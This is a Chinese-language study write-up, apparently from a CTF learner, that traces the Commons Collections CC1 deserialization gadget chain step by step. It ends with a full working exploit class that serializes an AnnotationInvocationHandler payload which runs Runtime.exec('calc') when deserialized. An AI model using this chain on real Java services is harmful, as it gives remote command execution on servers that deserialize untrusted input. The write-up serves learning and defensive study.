java_cc1
cc1
准备
[!IMPORTANT]
- 用
jdk8u65- 要用到mvn的版本是3.2.1
- 有的只是
.class文件,没有源码(公司不一样),看到的是反编译出来的(命名随便的),要自己加对应版本的源码(8u65中/src/sun已经加了)
利用点
终点
从接口Transformer的transform方法入手
找接口的实现(看看有没有可进行反序列化的(重写readObject()方法、implements了Serializable))
找到InvokerTransformer

可以看到参数都是可控的,而且利用反射进行了方法执行,所以可以用来进行任意类的任意方法。
1 | import org.apache.commons.collections.functors.InvokerTransformer; |
入口点
先查找某个类中的方法调用了transform

可以看到这里TransformedMap的checkSetValue方法是有调用的
——但发现valueTransformer是protected的,构造方法没有设置;
查看发现静态方法decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)设置了,

所以可以通过这个静态方法设置好valueTransformer
1 | HashMap<Object, Object> map = new HashMap<>(); |
接下来就去看怎么调用protected checkSetValue了
(依旧查看用法ctrl+alt+F7)

可以看到AbstractInputCheckedMapDecorator中的静态子类MapEntry的public Object setValue(Object value)进行了调用
进行追溯查找发现:
1 | MapEntry ==> AbstractInputCheckedMapDecorator ==> Map.Entry |
可以看到,MapEntry中的setValue是继承自AbstractInputCheckedMapDecorator的
1 | public Object setValue(Object object) { |
中间链
[!IMPORTANT]
即我们可以通过
Map的Entry遍历调用.setValue(Object)来实现调用MapEntry的public Object setValue(Object value);进而调用了
parent.checkSetValue(value)【这里parent会**自动赋为TransformedMap**】;从而就可以执行
valueTransformer.transform(value);了【valueTransformer设置为InvokerTransformer】最终实现了对
InvokerTransformer.transform(Object)的实现【
1
2
3
4 Runtime r = Runtime.getRuntime();
InvokerTransformer intrfor = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//通过链式调用实现了intrfor.transform(r);】
最终得到代码:
1
2
3
4
5
6
7
8
9
10
11
12
13 Runtime r = Runtime.getRuntime();
InvokerTransformer intrfor = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// intrfor.transform(r);//
HashMap<Object, Object> map = new HashMap<>();
map.put("c", "c");//map不能为空,否则没有元素执行
Map<Object, Object> transformeredmap = TransformedMap.decorate(map, null, intrfor);
//上面设置,下面进行触发
for(Map.Entry entry: transformeredmap.entrySet()){
entry.setValue(r);
}
[!NOTE]
上面的第二点中,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}由于
transformedMap extends AbstractInputCheckedMapDecorator implements Serializable,现在查看
AbstractInputCheckedMapDecorator的entrySet()
1
2
3
4
5
6
7 public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}发现,
return new EntrySet(map.entrySet(), this);从
EntrySet中的代码看,这个this是对应的parent所以,我们可以得到,调用
transformedmap.entrySet()即自动实现了把parent传为transformedmap了
口子
因为是在反序列化过程中实现的,现在我们要考虑一下能不能利用某个类的readObject来自动触发setValue()
readObject实现
依旧查找使用

发现sun.reflect.annotation中的AnnotationInvocationHandler类的readObject方法中调用了

条件通过
因为memberValue来自memberValues,后者可控;所以可以操作实现条件通过
即,如果实现了
memberType != null==>key必须是注解成员名,且不为空 ==> 即map.put("value", "...");//key必须是value,类源代码上的内容;@Override没有成员(仅标识作用),@Target有一个(value),@Retention有一个(value) 所以要传value,且构造器中参数为Target.class/Retention.class1
2
3
4
5
6
7
8
9
10
11
12
- 且`!(memberType.isInstance(value) || value instanceof ExceptionProxy)` ==> 类型不匹配 ==> `@Target.value()的类型是ElementType[],我们传的"..."是String,所以ok`
——即**有元素,但类型不匹配**`(key-value中的value类型!=注解成员声明类型)`
就触发
```java
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
传参改变
1 | memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( |
——这个不是我们要的Runtime,而且是固定代码的,所以要通过ConstantTransformer的transform(Object input){return iConstant)——忽略输入,返回构造器传入的常量的特性来实现
[!IMPORTANT]
ConstantTransformer的transform在调用
invokerTransformer的transform前,调用ConstantTransformer的transform,实现更迭参数。——既然是要多个
Transformer了,那就要用到ChainedTransformer.transform()逐个执行——
ChainedTransformer中实现顺序:从上到下
ConstantTransformer(Runtime.class) ==> InvokerTransformer("getDeclaredMethod", ...) ==> InvokerTransformer("invoke", ...) ==> InvokerTransformer("exec", ..)
[!NOTE]
注解类型 = 特殊接口(
@interface),其”成员” = 接口中定义的抽象方法。@Override是空接口(0 个方法 → 0 个成员),@Target/@Retention各有 1 个value()方法(1 个成员)。
代码调用实现
同时,这个类没有public修饰,所以要通过反射调用,用Object收容
1 | //反射获得AnnotationInvocationHandler类 |
[!NOTE]
构造器参数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)——对应上面传的key值
value的注解类型为Target/Retention
还有一个问题,就是序列化时,发现Runtime没有被序列化
[!IMPORTANT]
去看
Runtime类,发现并没有serializable接口,不能被序列化
但原型类
class存在serializable接口,所以,可以通过调用其的原型类来实现关于
Runtime的,都不能先实例化,要在反序列化时才实例化,所以,要通过InvokerTransformer(..., ..., ...)来实现延迟执行new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
- 这里用很多个`Transformer`的构造器,结合换参的`ConstantTransformer`,都用`ChainedTransformer`实现
## 完整代码
```java
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void serialize(Object object) throws Exception
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\cc1\\cc1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
public static void main(String[] args) throws Exception {
// Runtime r = Runtime.getRuntime();
Class<?> rc = Class.forName("java.lang.Runtime");//原型
Method getRuntime = rc.getDeclaredMethod("getRuntime");//获取方法
Runtime r = (Runtime) getRuntime.invoke(null);//
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// intrfor.transform(r);//
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();//
map.put("value", "...");//map不能为空
Map<Object, Object> transformeredmap = TransformedMap.decorate(map, null, chainedTransformer);
// for(Map.Entry entry: transformeredmap.entrySet()){
// entry.setValue(r);
// }
//反射获得AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//AnnotationInvocationHandler o = constructor.newInstance(Override.class, transformeredmap);//第一个参数是注解原型类
//AnnotationInvocationHandler是私有的,无法在这里直接写出来,要反射,用object收容
Object o = constructor.newInstance(Target.class, transformeredmap);
serialize(o);
unserialize("C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\cc1\\cc1.txt");
}
}
——回顾一下发现,要序列化的类,都没有直接实例化,而是通过Class进行声明。
链子
1 | AnnotationInvocationHandler的readObject ==> MapEntry.setValue(value) ==> TransformerMap.checkSetValue(value) ==> InvokerTransformer.transform(value) |
更详细的流程
1 | flowchart TD |







